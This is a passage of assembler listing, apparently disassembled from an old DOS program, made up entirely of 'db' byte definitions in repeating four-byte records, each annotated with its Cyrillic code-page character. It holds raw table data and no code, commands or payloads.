		db 0B2h	; ╡
		db  84h	; └
		db 0CFh	; о
		db 0ABh	; ╚
		db  47h	; G
		db  47h	; G
		db 0CFh	; о
		db 0ACh	; ╛
		db    3	;  
		db  14h	;  
		db 0CFh	; о
		db 0ACh	; ╛
		db    3	;  
		db  15h	;  
		db 0CFh	; о
		db 0ACh	; ╛
		db    3	;  
		db  16h	;  
		db 0CFh	; о
		db 0ADh	; ґ
		db 0E0h	; Ю
		db    3	;  
		db 0CFh	; о
		db 0ADh	; ґ
		db 0E1h	; А
		db    3	;  
		db 0CFh	; о
		db 0ADh	; ґ
		db  56h	; V
		db    2	;  
		db 0CFh	; о
		db 0AFh	; ╞
		db  22h	; "
		db  0Ah	;  
		db 0CFh	; о
		db 0AFh	; ╞
		db  24h	; $
		db  2Ch	; ,
		db 0CFh	; о
		db 0AFh	; ╞
		db  28h	; (
		db  0Bh	;  
		db 0CFh	; о
		db 0B3h	; Ё
		db 0BEh	; Ў
		db  0Bh	;  
		db 0CFh	; о
		db 0B3h	; Ё
		db 0BEh	; Ў
		db  0Ch	;  
		db 0CFh	; о
		db  12h	;  
		db 0BCh	; ╪
		db    4	;  
		db 0CFh	; о
		db  12h	;  
		db 0D8h	; ь
		db    2	;  
		db 0CFh	; о
		db 0B5h	; ╣
		db  65h	; e
		db    4	;  
		db 0CFh	; о
		db 0B5h	; ╣
		db  65h	; e
		db    5	;  
		db 0CFh	; о
		db 0B5h	; ╣
		db 0C1h	; а
		db    2	;  
		db 0CFh	; о
		db 0B5h	; ╣
		db  59h	; Y
		db    2	;  
		db 0CFh	; о
		db 0B5h	; ╣
		db  59h	; Y
		db    3	;  
		db 0CFh	; о
		db 0B6h	; І
		db  26h	; &
		db    2	;  
		db 0CFh	; о
		db 0B7h	; Ї
		db 0F9h	; Ы
		db 0FEh	; Ч
		db 0CFh	; о
		db 0B7h	; Ї
		db 0F9h	; Ы
		db    3	;  
		db 0CFh	; о
		db 0B7h	; Ї
		db  21h	; !
		db    2	;  
		db 0CFh	; о
		db 0BDh	; Ґ
		db  80h	; ─
		db  14h	;  
		db 0CFh	; о
		db 0BDh	; Ґ
		db 0AAh	; ╙
		db    1	;  
		db 0CFh	; о
		db 0BDh	; Ґ
		db 0AAh	; ╙
		db    3	;  
		db 0CFh	; о
		db 0BFh	; ©
		db    1	;  
		db  0Ah	;  
		db 0CFh	; о
		db 0BFh	; ©
		db 0C0h	; ю
		db  82h	; ┌
		db 0CFh	; о
		db 0BFh	; ©
		db 0C0h	; ю
		db  84h	; └
		db 0CFh	; о
		db 0BFh	; ©
		db  32h	; 2
		db  0Ah	;  
		db 0CFh	; о
		db 0C1h	; а
		db  79h	; y
		db    2	;  
		db 0CFh	; о
		db 0C1h	; а
		db 0C3h	; ц
		db    1	;  
		db 0CFh	; о
		db 0C2h	; б
		db 0A1h	; ║
		db    3	;  
		db 0CFh	; о
		db 0C2h	; б
		db 0A1h	; ║
		db    4	;  
		db 0CFh	; о
		db 0C2h	; б
		db 0C6h	; ф
		db  0Ah	;  
		db 0CFh	; о
		db 0C2h	; б
		db 0C6h	; ф
		db 0DCh	; э
		db 0CFh	; о
		db 0C2h	; б
		db 0C8h	; х
		db    1	;  
		db 0CFh	; о
		db 0C2h	; б
		db 0C8h	; х
		db  81h	; │
		db 0CFh	; о
		db 0C2h	; б
		db  1Ch	;  
		db 0E6h	; Ф
		db 0CFh	; о
		db 0C2h	; б
		db    6	;  
		db    1	;  
		db 0CFh	; о
		db 0C2h	; б
		db    6	;  
		db    2	;  
		db 0CFh	; о
		db 0C6h	; ф
		db 0DEh	; ч
		db    7	;  
		db 0CFh	; о
		db 0C6h	; ф
		db 0FDh	; Щ
		db  24h	; $
		db 0CFh	; о
		db    2	;  
		db 0A9h	; ╘
		db    2	;  
		db 0CFh	; о
		db    2	;  
		db 0A9h	; ╘
		db    3	;  
		db 0CFh	; о
		db    2	;  
		db 0DDh	; щ
		db    4	;  
		db 0CFh	; о
		db    2	;  
		db 0DDh	; щ
		db    5	;  
		db 0CFh	; о
		db  14h	;  
		db  7Fh	; 
		db 0C8h	; х
		db 0CFh	; о
		db 0C8h	; х
		db  49h	; I
		db  50h	; P
		db 0CFh	; о
		db 0CAh	; й
		db  40h	; @
		db    2	;  
		db 0CFh	; о
		db 0CDh	; м
		db 0F7h	; В
		db 0DEh	; ч
		db 0CFh	; о
		db 0D3h	; с
		db    1	;  
		db  0Ah	;  
		db 0CFh	; о
		db 0D3h	; с
		db 0A0h	; ═
		db    2	;  
		db 0CFh	; о
		db 0D3h	; с
		db 0F3h	; С
		db    2	;  
		db 0CFh	; о
		db 0D3h	; с
		db  3Ch	; <
		db  40h	; @
		db 0CFh	; о
		db 0D3h	; с
		db  3Ch	; <
		db  41h	; A
		db 0CFh	; о
		db 0D5h	; у
		db  20h	;  
		db  71h	; q
		db 0CFh	; о
		db 0D5h	; у
		db  3Ch	; <
		db  0Bh	;  
		db 0CFh	; о
		db 0D6h	; ж
		db  7Eh	; ~
		db  15h	;  
		db 0CFh	; о
		db 0D9h	; ы
		db  78h	; x
		db  0Dh	;  
		db 0CFh	; о
		db 0D9h	; ы
		db  7Eh	; ~
		db  0Bh	;  
		db 0CFh	; о
		db 0D9h	; ы
		db  4Dh	; M
		db  0Ch	;  
		db 0CFh	; о
		db 0DAh	; з
		db  62h	; b
		db    2	;  
		db 0CFh	; о
		db 0E4h	; Д
		db 0E1h	; А
		db  14h	;  
		db 0CFh	; о
		db 0E4h	; Д
		db 0ECh	; Л
		db 0C1h	; а
		db 0CFh	; о
		db 0E4h	; Д
		db  23h	; #
		db  2Ah	; *
		db 0CFh	; о
		db 0E4h	; Д
		db  25h	; %
		db 0C3h	; ц
		db 0CFh	; о
		db 0E4h	; Д
		db  40h	; @
		db  81h	; │
		db 0CFh	; о
		db 0E4h	; Д
		db  40h	; @
		db  2Bh	; +
		db 0CFh	; о
		db 0E6h	; Ф
		db 0F4h	; Т
		db    2	;  
		db 0CFh	; о
		db 0E6h	; Ф
		db  31h	; 1
		db    2	;  
		db 0CFh	; о
		db 0E6h	; Ф
		db  31h	; 1
		db    3	;  
		db 0CFh	; о
		db 0E6h	; Ф
		db  4Bh	; K
		db  22h	; "
		db 0CFh	; о
		db 0E6h	; Ф
		db  4Bh	; K
		db  32h	; 2
		db 0CFh	; о
		db 0E7h	; Г
		db  86h	; ├
		db  1Bh	;  
		db 0CFh	; о
		db 0E9h	; И
		db  80h	; ─
		db  0Bh	;  
		db 0CFh	; о
		db 0E9h	; И
		db 0A8h	; ╗
		db  0Bh	;  
		db 0CFh	; о
		db 0EBh	; К
		db  10h	;  
		db    2	;  
		db 0CFh	; о
		db 0ECh	; Л
		db 0D9h	; ы
		db    5	;  
		db 0CFh	; о
		db 0EEh	; Н
		db  30h	; 0
		db  22h	; "
		db 0CFh	; о
		db  18h	;  
		db 0F5h	; У
		db 0B2h	; ╡
		db 0CFh	; о
		db  18h	;  
		db 0F5h	; У
		db 0B3h	; Ё
		db 0CFh	; о
		db 0F0h	; П
		db    5	;  
		db  3Ch	; <
		db 0CFh	; о
		db 0F1h	; Я
		db 0A0h	; ═
		db    3	;  
		db 0CFh	; о
		db 0F1h	; Я
		db 0A0h	; ═
		db  22h	; "
		db 0CFh	; о
		db 0F1h	; Я
		db 0F0h	; П
		db  0Fh	;  
		db 0CFh	; о
		db 0F1h	; Я
		db 0F0h	; П
		db  14h	;  
		db 0CFh	; о
		db 0F3h	; С
		db  68h	; h
		db    2	;  
		db 0CFh	; о
		db 0F3h	; С
		db  6Bh	; k
		db    2	;  
		db 0CFh	; о
		db 0F6h	; Ж
		db  4Ch	; L
		db    7	;  
		db 0CFh	; о
		db 0F6h	; Ж
		db  4Ch	; L
		db    8	;  
		db 0CFh	; о
		db 0F8h	; Ь
		db 0E0h	; Ю
		db  47h	; G
		db 0CFh	; о
		db 0F8h	; Ь
		db 0E0h	; Ю
		db  48h	; H
		db 0CFh	; о
		db  19h	;  
		db  44h	; D
		db  9Bh	; ⌡
		db 0CFh	; о
		db 0FBh	; Ш
		db  90h	; ░
		db    1	;  
		db 0CFh	; о
		db 0FBh	; Ш
		db  90h	; ░
		db    2	;  
		db 0CFh	; о
		db 0FBh	; Ш
		db 0C9h	; и
		db  0Bh	;  
		db 0CFh	; о
		db 0FBh	; Ш
		db 0C9h	; и
		db  0Ch	;  
		db 0CFh	; о
		db 0FCh	; Э
		db  79h	; y
		db  16h	;  
		db 0CFh	; о
		db 0FCh	; Э
		db  79h	; y
		db  17h	;  
		db 0CFh	; о
		db 0FCh	; Э
		db  14h	;  
		db  0Bh	;  
		db 0CFh	; о
		db 0FCh	; Э
		db  60h	; `
		db    3	;  
		db 0CFh	; о
		db  1Ch	;  
		db 0EFh	; О
		db 0D1h	; я
		db 0CFh	; о
		db  1Dh	;  
		db 0C2h	; б
		db  1Ch	;  
		db 0CFh	; о
		db  1Dh	;  
		db 0C2h	; б
		db  1Eh	;  
		db 0CFh	; о
		db    3	;  
		db  4Fh	; O
		db    2	;  
		db 0CFh	; о
		db  20h	;  
		db  80h	; ─
		db    1	;  
		db 0CFh	; о
		db  20h	;  
		db  59h	; Y
		db  0Ah	;  
		db 0CFh	; о
		db  22h	; "
		db 0B3h	; Ё
		db    2	;  
		db 0CFh	; о
		db  22h	; "
		db 0B3h	; Ё
		db    3	;  
		db 0CFh	; о
		db  26h	; &
		db  78h	; x
		db  3Fh	; ?
		db 0CFh	; о
		db  26h	; &
		db  2Dh	; -
		db    9	;  
		db 0CFh	; о
		db  29h	; )
		db  78h	; x
		db    2	;  
		db 0CFh	; о
		db  29h	; )
		db  80h	; ─
		db    2	;  
		db 0CFh	; о
		db  29h	; )
		db  0Eh	;  
		db  3Eh	; >
		db 0CFh	; о
		db  29h	; )
		db  12h	;  
		db  44h	; D
		db 0CFh	; о
		db  29h	; )
		db 0C5h	; е
		db    2	;  
		db 0CFh	; о
		db  29h	; )
		db 0C5h	; е
		db    7	;  
		db 0CFh	; о
		db  29h	; )
		db    2	;  
		db    2	;  
		db 0CFh	; о
		db  29h	; )
		db  18h	;  
		db  0Ah	;  
		db 0CFh	; о
		db  29h	; )
		db 0F1h	; Я
		db  10h	;  
		db 0CFh	; о
		db  29h	; )
		db  28h	; (
		db  4Ch	; L
		db 0CFh	; о
		db  29h	; )
		db  29h	; )
		db  14h	;  
		db 0CFh	; о
		db  29h	; )
		db  29h	; )
		db 0F8h	; Ь
		db 0CFh	; о
		db  29h	; )
		db  40h	; @
		db    1	;  
		db 0CFh	; о
		db  29h	; )
		db  40h	; @
		db    2	;  
		db 0CFh	; о
		db  29h	; )
		db  4Ch	; L
		db  0Ah	;  
		db 0CFh	; о
		db  29h	; )
		db  4Ch	; L
		db  0Ch	;  
		db 0CFh	; о
		db  29h	; )
		db  56h	; V
		db  0Ah	;  
		db 0CFh	; о
		db  29h	; )
		db  56h	; V
		db  0Bh	;  
		db 0CFh	; о
		db  2Ch	; ,
		db    0	;  
		db    1	;  
		db 0CFh	; о
		db  2Eh	; .
		db  8Ah	; ┼
		db  0Bh	;  
		db 0CFh	; о
		db  2Eh	; .
		db  8Ah	; ┼
		db  0Ch	;  
		db 0CFh	; о
		db  33h	; 3
		db  68h	; h
		db    5	;  
		db 0CFh	; о
		db  33h	; 3
		db  80h	; ─
		db  0Ah	;  
		db 0CFh	; о
		db  33h	; 3
		db  80h	; ─
		db  0Bh	;  
		db 0CFh	; о
		db  33h	; 3
		db  81h	; │
		db    1	;  
		db 0CFh	; о
		db  33h	; 3
		db  82h	; ┌
		db    2	;  
		db 0CFh	; о
		db  33h	; 3
		db  86h	; ├
		db    2	;  
		db 0CFh	; о
		db  33h	; 3
		db  88h	; ┬
		db  15h	;  
		db 0CFh	; о
		db  33h	; 3
		db  88h	; ┬
		db  17h	;  
		db 0CFh	; о
		db  33h	; 3
		db  0Eh	;  
		db    2	;  
		db 0CFh	; о
		db  33h	; 3
		db  0Eh	;  
		db    3	;  
		db 0CFh	; о
		db  33h	; 3
		db 0C7h	; г
		db    4	;  
		db 0CFh	; о
		db  33h	; 3
		db 0C9h	; и
		db  31h	; 1
		db 0CFh	; о
		db  33h	; 3
		db 0E4h	; Д
		db  84h	; └
		db 0CFh	; о
		db  33h	; 3
		db 0E4h	; Д
		db    5	;  
		db 0CFh	; о
		db  33h	; 3
		db 0E5h	; Е
		db    1	;  
		db 0CFh	; о
		db  33h	; 3
		db 0ECh	; Л
		db  16h	;  
		db 0CFh	; о
		db  33h	; 3
		db 0F2h	; Р
		db  42h	; B
		db 0CFh	; о
		db  33h	; 3
		db 0F2h	; Р
		db  43h	; C
		db 0CFh	; о
		db  33h	; 3
		db 0F8h	; Ь
		db    2	;  
		db 0CFh	; о
		db  33h	; 3
		db  47h	; G
		db    2	;  
		db 0CFh	; о
		db  33h	; 3
		db  48h	; H
		db  66h	; f
		db 0CFh	; о
		db  33h	; 3
		db  48h	; H
		db  68h	; h
		db 0CFh	; о
		db  33h	; 3
		db  4Fh	; O
		db    3	;  
		db 0CFh	; о
		db  33h	; 3
		db  4Fh	; O
		db    4	;  
		db 0CFh	; о
		db  33h	; 3
		db  50h	; P
		db    3	;  
		db 0CFh	; о
		db  33h	; 3
		db  54h	; T
		db  0Ah	;  
		db 0CFh	; о
		db  33h	; 3
		db  54h	; T
		db 0CDh	; м
		db 0CFh	; о
		db  33h	; 3
		db  56h	; V
		db    3	;  
		db 0CFh	; о
		db  33h	; 3
		db  58h	; X
		db    1	;  
		db 0CFh	; о
		db  36h	; 6
		db  9Fh	; ÷
		db    2	;  
		db 0CFh	; о
		db  36h	; 6
		db  9Fh	; ÷
		db    4	;  
		db 0CFh	; о
		db  3Bh	; ;
		db    1	;  
		db    1	;  
		db 0CFh	; о
		db  3Dh	; =
		db  6Ah	; j
		db  0Ah	;  
		db 0CFh	; о
		db  3Dh	; =
		db  6Ah	; j
		db  0Bh	;  
		db 0CFh	; о
		db  3Dh	; =
		db  6Dh	; m
		db    2	;  
		db 0CFh	; о
		db  3Dh	; =
		db  93h	; ⌠
		db  0Ah	;  
		db 0CFh	; о
		db  3Dh	; =
		db  93h	; ⌠
		db  14h	;  
		db 0CFh	; о
		db  3Dh	; =
		db  95h	; ∙
		db  42h	; B
		db 0CFh	; о
		db  3Dh	; =
		db  96h	; √
		db 0FEh	; Ч
		db 0CFh	; о
		db  3Dh	; =
		db 0A6h	; і
		db    5	;  
		db 0CFh	; о
		db  3Dh	; =
		db 0A9h	; ╘
		db 0FEh	; Ч
		db 0CFh	; о
		db  3Dh	; =
		db 0C6h	; ф
		db  0Bh	;  
		db 0CFh	; о
		db  3Dh	; =
		db 0D1h	; я
		db 0F0h	; П
		db 0CFh	; о
		db  3Dh	; =
		db 0F4h	; Т
		db    2	;  
		db 0CFh	; о
		db  3Dh	; =
		db 0F4h	; Т
		db    3	;  
		db 0CFh	; о
		db  3Dh	; =
		db  32h	; 2
		db  96h	; √
		db 0CFh	; о
		db  3Dh	; =
		db  3Bh	; ;
		db    2	;  
		db 0CFh	; о
		db  3Dh	; =
		db  3Ch	; <
		db    2	;  
		db 0CFh	; о
		db  3Dh	; =
		db  4Ah	; J
		db    2	;  
		db 0CFh	; о
		db  41h	; A
		db  2Eh	; .
		db    2	;  
		db 0CFh	; о
		db  43h	; C
		db 0A3h	; ё
		db  0Ah	;  
		db 0CFh	; о
		db  43h	; C
		db  38h	; 8
		db  0Bh	;  
		db 0CFh	; о
		db  43h	; C
		db  38h	; 8
		db  0Ch	;  
		db 0CFh	; о
		db  45h	; E
		db 0BCh	; ╪
		db 0C0h	; ю
		db 0CFh	; о
		db  45h	; E
		db 0BCh	; ╪
		db 0C1h	; а
		db 0CFh	; о
		db  45h	; E
		db 0C2h	; б
		db 0BAh	; ╨
		db 0CFh	; о
		db  45h	; E
		db 0C8h	; х
		db 0D2h	; р
		db 0CFh	; о
		db  45h	; E
		db 0C8h	; х
		db 0D3h	; с
		db 0CFh	; о
		db    7	;  
		db  20h	;  
		db    5	;  
		db 0CFh	; о
		db    7	;  
		db  28h	; (
		db 0E3h	; Ц
		db 0CFh	; о
		db    7	;  
		db  40h	; @
		db    3	;  
		db 0CFh	; о
		db  47h	; G
		db  2Ch	; ,
		db  79h	; y
		db 0CFh	; о
		db  4Ah	; J
		db  5Ch	; \
		db  0Ah	;  
		db 0CFh	; о
		db  4Ch	; L
		db 0A4h	; є
		db  18h	;  
		db 0CFh	; о
		db  4Dh	; M
		db  8Ch	; ▄
		db    3	;  
		db 0CFh	; о
		db  4Dh	; M
		db  5Ah	; Z
		db  0Ah	;  
		db 0CFh	; о
		db  4Dh	; M
		db  5Ah	; Z
		db  0Bh	;  
		db 0CFh	; о
		db  4Eh	; N
		db  6Bh	; k
		db  66h	; f
		db 0CFh	; о
		db  4Eh	; N
		db 0A9h	; ╘
		db  96h	; √
		db 0CFh	; о
		db    8	;  
		db 0BAh	; ╨
		db    2	;  
		db 0CFh	; о
		db    8	;  
		db 0C0h	; ю
		db    5	;  
		db 0CFh	; о
		db    8	;  
		db 0C0h	; ю
		db  3Eh	; >
		db 0CFh	; о
		db    8	;  
		db 0C5h	; е
		db 0BAh	; ╨
		db 0CFh	; о
		db  52h	; R
		db 0C6h	; ф
		db  96h	; √
		db 0CFh	; о
		db  56h	; V
		db  7Fh	; 
		db  0Eh	;  
		db 0CFh	; о
		db  56h	; V
		db  91h	; ▒
		db  9Fh	; ÷
		db 0CFh	; о
		db  56h	; V
		db  91h	; ▒
		db 0A0h	; ═
		db 0CFh	; о
		db  58h	; X
		db  3Ch	; <
		db    5	;  
		db 0CFh	; о
		db  59h	; Y
		db  80h	; ─
		db  0Dh	;  
		db 0CFh	; о
		db  59h	; Y
		db  0Fh	;  
		db  0Ah	;  
		db 0CFh	; о
		db  59h	; Y
		db  0Fh	;  
		db  14h	;  
		db 0CFh	; о
		db  5Bh	; [
		db    5	;  
		db  14h	;  
		db 0CFh	; о
		db  5Bh	; [
		db    5	;  
		db 0FCh	; Э
		db 0CFh	; о
		db  5Bh	; [
		db    5	;  
		db  3Bh	; ;
		db 0CFh	; о
		db  62h	; b
		db  80h	; ─
		db  21h	; !
		db 0CFh	; о
		db  62h	; b
		db  81h	; │
		db  0Bh	;  
		db 0CFh	; о
		db  62h	; b
		db  81h	; │
		db  86h	; ├
		db 0CFh	; о
		db  62h	; b
		db  81h	; │
		db 0C8h	; х
		db 0CFh	; о
		db  62h	; b
		db  81h	; │
		db  4Dh	; M
		db 0CFh	; о
		db  62h	; b
		db  41h	; A
		db    2	;  
		db 0CFh	; о
		db  63h	; c
		db    0	;  
		db    1	;  
		db 0CFh	; о
		db  63h	; c
		db    0	;  
		db    2	;  
		db 0D0h	; п
		db    0	;  
		db  91h	; ▒
		db    2	;  
		db 0D0h	; п
		db    0	;  
		db  38h	; 8
		db    8	;  
		db 0D0h	; п
		db    0	;  
		db  38h	; 8
		db    9	;  
		db 0D0h	; п
		db    1	;  
		db  70h	; p
		db  0Bh	;  
		db 0D0h	; п
		db    1	;  
		db  70h	; p
		db    2	;  
		db 0D0h	; п
		db    1	;  
		db  72h	; r
		db    4	;  
		db 0D0h	; п
		db    1	;  
		db  83h	; ┐
		db  0Ah	;  
		db 0D0h	; п
		db    1	;  
		db  83h	; ┐
		db  0Dh	;  
		db 0D0h	; п
		db    1	;  
		db  88h	; ┬
		db    2	;  
		db 0D0h	; п
		db    1	;  
		db  8Bh	; ▀
		db 0FBh	; Ш
		db 0D0h	; п
		db    1	;  
		db  0Eh	;  
		db  23h	; #
		db 0D0h	; п
		db    1	;  
		db 0AFh	; ╞
		db  28h	; (
		db 0D0h	; п
		db    1	;  
		db 0D8h	; ь
		db    2	;  
		db 0D0h	; п
		db    1	;  
		db  17h	;  
		db    3	;  
		db 0D0h	; п
		db    1	;  
		db 0E6h	; Ф
		db    2	;  
		db 0D0h	; п
		db    1	;  
		db 0E7h	; Г
		db    2	;  
		db 0D0h	; п
		db    1	;  
		db 0FAh	; З
		db    2	;  
		db 0D0h	; п
		db    1	;  
		db 0FEh	; Ч
		db    2	;  
		db 0D0h	; п
		db    1	;  
		db    6	;  
		db    1	;  
		db 0D0h	; п
		db    1	;  
		db  3Ch	; <
		db  0Fh	;  
		db 0D0h	; п
		db    1	;  
		db  3Ch	; <
		db  10h	;  
		db 0D0h	; п
		db    1	;  
		db  56h	; V
		db  42h	; B
		db 0D0h	; п
		db    1	;  
		db  57h	; W
		db  82h	; ┌
		db 0D0h	; п
		db    1	;  
		db  5Bh	; [
		db  0Fh	;  
		db 0D0h	; п
		db  0Ah	;  
		db  80h	; ─
		db  0Ah	;  
		db 0D0h	; п
		db  0Ah	;  
		db  91h	; ▒
		db  0Ah	;  
		db 0D0h	; п
		db  0Ah	;  
		db 0BEh	; Ў
		db    1	;  
		db 0D0h	; п
		db  0Ah	;  
		db  36h	; 6
		db  0Ah	;  
		db 0D0h	; п
		db  0Bh	;  
		db  72h	; r
		db    2	;  
		db 0D0h	; п
		db  0Bh	;  
		db  8Eh	; ▌
		db  47h	; G
		db 0D0h	; п
		db  0Bh	;  
		db  8Eh	; ▌
		db  48h	; H
		db 0D0h	; п
		db  0Bh	;  
		db  90h	; ░
		db 0C8h	; х
		db 0D0h	; п
		db  0Bh	;  
		db 0DEh	; ч
		db  81h	; │
		db 0D0h	; п
		db  0Bh	;  
		db 0E8h	; Х
		db  0Ah	;  
		db 0D0h	; п
		db  0Bh	;  
		db 0F4h	; Т
		db  0Ch	;  
		db 0D0h	; п
		db  0Bh	;  
		db  48h	; H
		db  0Bh	;  
		db 0D0h	; п
		db  0Bh	;  
		db  48h	; H
		db  0Ch	;  
		db 0D0h	; п
		db  0Bh	;  
		db  57h	; W
		db    1	;  
		db 0D0h	; п
		db  0Ch	;  
		db  64h	; d
		db 0E9h	; И
		db 0D0h	; п
		db  0Ch	;  
		db  64h	; d
		db 0EAh	; Й
		db 0D0h	; п
		db  80h	; ─
		db  6Fh	; o
		db  0Ah	;  
		db 0D0h	; п
		db  80h	; ─
		db  6Fh	; o
		db  0Bh	;  
		db 0D0h	; п
		db  81h	; │
		db  10h	;  
		db    1	;  
		db 0D0h	; п
		db  81h	; │
		db  10h	;  
		db 0F5h	; У
		db 0D0h	; п
		db  81h	; │
		db 0FFh	;  
		db  0Ah	;  
		db 0D0h	; п
		db  81h	; │
		db 0FFh	;  
		db    9	;  
		db 0D0h	; п
		db  82h	; ┌
		db  50h	; P
		db  0Ah	;  
		db 0D0h	; п
		db  82h	; ┌
		db    9	;  
		db    2	;  
		db 0D0h	; п
		db  83h	; ┐
		db  6Bh	; k
		db    2	;  
		db 0D0h	; п
		db  83h	; ┐
		db 0E9h	; И
		db  0Bh	;  
		db 0D0h	; п
		db  83h	; ┐
		db 0E9h	; И
		db  0Ch	;  
		db 0D0h	; п
		db  83h	; ┐
		db  19h	;  
		db    2	;  
		db 0D0h	; п
		db  83h	; ┐
		db  28h	; (
		db    2	;  
		db 0D0h	; п
		db  83h	; ┐
		db  2Ah	; *
		db  10h	;  
		db 0D0h	; п
		db  83h	; ┐
		db  2Ah	; *
		db  11h	;  
		db 0D0h	; п
		db  83h	; ┐
		db  30h	; 0
		db 0FEh	; Ч
		db 0D0h	; п
		db  83h	; ┐
		db  32h	; 2
		db    7	;  
		db 0D0h	; п
		db  83h	; ┐
		db    6	;  
		db    8	;  
		db 0D0h	; п
		db  83h	; ┐
		db    6	;  
		db    9	;  
		db 0D0h	; п
		db  83h	; ┐
		db  44h	; D
		db  0Ah	;  
		db 0D0h	; п
		db  83h	; ┐
		db  48h	; H
		db    3	;  
		db 0D0h	; п
		db  83h	; ┐
		db  4Ah	; J
		db 0C2h	; б
		db 0D0h	; п
		db  83h	; ┐
		db  4Ah	; J
		db    3	;  
		db 0D0h	; п
		db  85h	; ┘
		db  69h	; i
		db  43h	; C
		db 0D0h	; п
		db  85h	; ┘
		db  50h	; P
		db    2	;  
		db 0D0h	; п
		db  86h	; ├
		db 0B9h	; ╧
		db    6	;  
		db 0D0h	; п
		db  86h	; ├
		db 0B9h	; ╧
		db    8	;  
		db 0D0h	; п
		db  86h	; ├
		db 0DFh	; ъ
		db    7	;  
		db 0D0h	; п
		db  86h	; ├
		db 0F5h	; У
		db  0Ah	;  
		db 0D0h	; п
		db  86h	; ├
		db 0F5h	; У
		db    2	;  
		db 0D0h	; п
		db  87h	; ┤
		db  81h	; │
		db    1	;  
		db 0D0h	; п
		db  87h	; ┤
		db 0A6h	; і
		db    1	;  
		db 0D0h	; п
		db  89h	; ┴
		db    0	;  
		db 0B0h	; ╟
		db 0D0h	; п
		db  89h	; ┴
		db    0	;  
		db 0B1h	; ╠
		db 0D0h	; п
		db  89h	; ┴
		db  80h	; ─
		db    6	;  
		db 0D0h	; п
		db  89h	; ┴
		db  80h	; ─
		db    8	;  
		db 0D0h	; п
		db  89h	; ┴
		db    2	;  
		db    7	;  
		db 0D0h	; п
		db  8Ah	; ┼
		db  7Dh	; }
		db    2	;  
		db 0D0h	; п
		db  8Ah	; ┼
		db  7Dh	; }
		db    3	;  
		db 0D0h	; п
		db  8Ah	; ┼
		db  82h	; ┌
		db  10h	;  
		db 0D0h	; п
		db  8Ah	; ┼
		db  99h	; ≥
		db  0Bh	;  
		db 0D0h	; п
		db  8Ah	; ┼
		db  4Eh	; N
		db 0F0h	; П
		db 0D0h	; п
		db  8Ah	; ┼
		db  4Eh	; N
		db 0F1h	; Я
		db 0D0h	; п
		db  0Eh	;  
		db 0BFh	; ©
		db  0Eh	;  
		db 0D0h	; п
		db  0Eh	;  
		db 0BFh	; ©
		db  0Fh	;  
		db 0D0h	; п
		db  0Eh	;  
		db 0D6h	; ж
		db  72h	; r
		db 0D0h	; п
		db  0Eh	;  
		db 0D9h	; ы
		db    5	;  
		db 0D0h	; п
		db  8Ch	; ▄
		db 0F9h	; Ы
		db    9	;  
		db 0D0h	; п
		db  8Ch	; ▄
		db  63h	; c
		db    1	;  
		db 0D0h	; п
		db  8Dh	; █
		db  68h	; h
		db  41h	; A
		db 0D0h	; п
		db  8Dh	; █
		db  85h	; ┘
		db  41h	; A
		db 0D0h	; п
		db  8Dh	; █
		db 0A0h	; ═
		db    1	;  
		db 0D0h	; п
		db  8Dh	; █
		db 0A3h	; ё
		db  45h	; E
		db 0D0h	; п
		db  8Dh	; █
		db 0CCh	; л
		db  0Ah	;  
		db 0D0h	; п
		db  8Dh	; █
		db 0D4h	; т
		db    3	;  
		db 0D0h	; п
		db  8Dh	; █
		db 0EAh	; Й
		db    1	;  
		db 0D0h	; п
		db  8Dh	; █
		db  2Eh	; .
		db 0C8h	; х
		db 0D0h	; п
		db  8Dh	; █
		db  35h	; 5
		db    2	;  
		db 0D0h	; п
		db  8Dh	; █
		db  35h	; 5
		db    3	;  
		db 0D0h	; п
		db  8Dh	; █
		db  42h	; B
		db  0Ah	;  
		db 0D0h	; п
		db  8Dh	; █
		db  4Fh	; O
		db    2	;  
		db 0D0h	; п
		db  8Dh	; █
		db    8	;  
		db  0Ah	;  
		db 0D0h	; п
		db  8Eh	; ▌
		db 0F3h	; С
		db  0Ah	;  
		db 0D0h	; п
		db  8Eh	; ▌
		db 0F4h	; Т
		db  11h	;  
		db 0D0h	; п
		db  8Eh	; ▌
		db 0F4h	; Т
		db    2	;  
		db 0D0h	; п
		db  8Eh	; ▌
		db  40h	; @
		db    1	;  
		db 0D0h	; п
		db  8Fh	; ▐
		db 0DEh	; ч
		db  28h	; (
		db 0D0h	; п
		db  8Fh	; ▐
		db 0DEh	; ч
		db  29h	; )
		db 0D0h	; п
		db  8Fh	; ▐
		db  31h	; 1
		db  0Ah	;  
		db 0D0h	; п
		db  8Fh	; ▐
		db  31h	; 1
		db  0Bh	;  
		db 0D0h	; п
		db  90h	; ░
		db 0FCh	; Э
		db  1Eh	;  
		db 0D0h	; п
		db  90h	; ░
		db 0FCh	; Э
		db  1Fh	;  
		db 0D0h	; п
		db  91h	; ▒
		db 0AFh	; ╞
		db  43h	; C
		db 0D0h	; п
		db  91h	; ▒
		db 0AFh	; ╞
		db  48h	; H
		db 0D0h	; п
		db  92h	; ▓
		db  84h	; └
		db    3	;  
		db 0D0h	; п
		db  92h	; ▓
		db  84h	; └
		db    4	;  
		db 0D0h	; п
		db  92h	; ▓
		db  2Dh	; -
		db  6Eh	; n
		db 0D0h	; п
		db  93h	; ⌠
		db  90h	; ░
		db    2	;  
		db 0D0h	; п
		db  93h	; ⌠
		db  9Bh	; ⌡
		db    2	;  
		db 0D0h	; п
		db  93h	; ⌠
		db 0D5h	; у
		db    1	;  
		db 0D0h	; п
		db  93h	; ⌠
		db 0D5h	; у
		db  64h	; d
		db 0D0h	; п
		db  94h	; ■
		db  8Ch	; ▄
		db  81h	; │
		db 0D0h	; п
		db  94h	; ■
		db 0BDh	; Ґ
		db  82h	; ┌
		db 0D0h	; п
		db  95h	; ∙
		db 0F9h	; Ы
		db    5	;  
		db 0D0h	; п
		db  95h	; ∙
		db 0F9h	; Ы
		db    6	;  
		db 0D0h	; п
		db  0Fh	;  
		db  6Dh	; m
		db    1	;  
		db 0D0h	; п
		db  0Fh	;  
		db  6Dh	; m
		db    6	;  
		db 0D0h	; п
		db  96h	; √
		db  3Ch	; <
		db    2	;  
		db 0D0h	; п
		db  97h	; ≈
		db 0C2h	; б
		db    3	;  
		db 0D0h	; п
		db  97h	; ≈
		db 0C4h	; д
		db  0Ah	;  
		db 0D0h	; п
		db  97h	; ≈
		db 0ECh	; Л
		db    2	;  
		db 0D0h	; п
		db  97h	; ≈
		db  30h	; 0
		db  46h	; F
		db 0D0h	; п
		db  97h	; ≈
		db  30h	; 0
		db  50h	; P
		db 0D0h	; п
		db  97h	; ≈
		db  45h	; E
		db  41h	; A
